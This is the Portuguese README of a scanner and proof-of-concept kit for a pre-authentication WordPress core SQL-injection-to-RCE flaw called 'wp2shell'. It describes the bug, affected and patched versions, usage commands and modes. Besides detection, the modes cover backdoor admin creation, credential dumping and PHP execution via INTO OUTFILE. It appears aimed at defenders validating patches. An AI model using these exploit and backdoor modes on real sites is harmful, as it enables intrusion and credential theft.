
Um scanner e kit de prova de conceito para CVE-2026-63030 (wp2shell) - execução remota de código pré-autenticada no núcleo do WordPress

--check-type time-based (temporização SLEEP) e --check-type error-based (diferencial TRUE/FALSE/quebrado). Ambos seguros para varreduras amplas de infraestrutura.--i-have-authorization.A CVE-2026-63030 ("wp2shell") é uma vulnerabilidade de execução remota de código pré-autenticada no núcleo do WordPress. Um bug de confusão de rota / dessincronização de índice no endpoint de lote da API REST (/batch/v1) permite que um atacante não autenticado contrabandeie um valor não sanitizado de author_exclude para dentro de WP_Query, resultando em injeção de SQL. Quando o usuário do banco de dados possui o privilégio FILE, isso leva à execução remota de código via SELECT ... INTO OUTFILE. Nenhum plugin é necessário. Uma instalação padrão do WordPress é afetada.
A WordPress lançou correções nas versões 6.9.5, 7.0.2 e 7.1-beta2. Atualize imediatamente. Se você precisar de ajuda para verificar ou descobrir essa vulnerabilidade na sua infraestrutura, envie um e-mail para [email protected]. Leia mais sobre isso no blog da fullhunt.io.
Temos pesquisado o wp2shell (CVE-2026-63030) desde sua divulgação pública e trabalhamos na prevenção dessa vulnerabilidade com nossos clientes. Estamos disponibilizando como código aberto uma ferramenta aberta de detecção e varredura para descobrir e validar a CVE-2026-63030. Ela deve ser usada por equipes de segurança para verificar sua infraestrutura em busca de wp2shell e para confirmar que as regras de WAF e os patches realmente bloqueiam a cadeia de ataque no ambiente da organização.
wp2shell-scan.py é um scanner único e unificado com suporte a oito modos:
Nota: Os modos marcados como "Sim" na coluna Autorização exigem a flag
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
Um ambiente WordPress 7.0.1 + MariaDB vulnerável por design (com o privilégio FILE concedido) está incluído para reprodução segura e offline:
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
A FullHunt é a plataforma de gerenciamento de superfície de ataque de próxima geração. A FullHunt permite que as empresas descubram todas as suas superfícies de ataque, monitorem-nas quanto à exposição e as verifiquem continuamente em busca das mais recentes vulnerabilidades de segurança. Tudo isso, em uma única plataforma, e mais.
A FullHunt fornece uma plataforma empresarial para organizações. A FullHunt Enterprise Platform oferece varredura e capacidades estendidas para os clientes. A plataforma FullHunt Enterprise permite que as organizações monitorem de perto sua superfície de ataque externa e recebam alertas detalhados sobre cada mudança que ocorre. Organizações em todo o mundo usam a FullHunt Enterprise Platform para resolver seus desafios contínuos de segurança e de superfície de ataque externa.
Este projeto foi feito apenas para fins educacionais e de testes éticos. O uso do wp2shell-scan para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.
O projeto é licenciado sob a Licença MIT.
Mazin Ahmed
| Ramo |
|---|
| Vulnerável |
|---|
| Corrigido |
|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | Não afetado (endpoint de lote não presente) | — |
| Modo | Finalidade | Autorização |
|---|
check | Detecção não destrutiva. Dois tipos de verificação: --check-type time-based (sonda de temporização SLEEP) ou --check-type error-based (diferencial TRUE/FALSE/quebrado). | Não |
probe-endpoints | Descobrir quais endpoints REST encaminham a injeção para o WP_Query. | Não |
probe | Diff lado a lado das respostas de N payloads SQL. | Não |
extract | Extração por oráculo booleano de metadados e hashes do banco de dados. | Sim |
blind | Extração cega baseada em tempo (fallback quando o oráculo booleano não é confiável). | Sim |
exploit | Validar a cadeia completa de SQLi → INTO OUTFILE → execução de PHP. | Sim |
adduser | Escrever um backdoor mu-plugin que cria uma conta de administrador; usa como fallback a extração de hashes por oráculo booleano. | Sim |
get-users | Dump por oráculo booleano de todas as credenciais de wp_users. | Sim |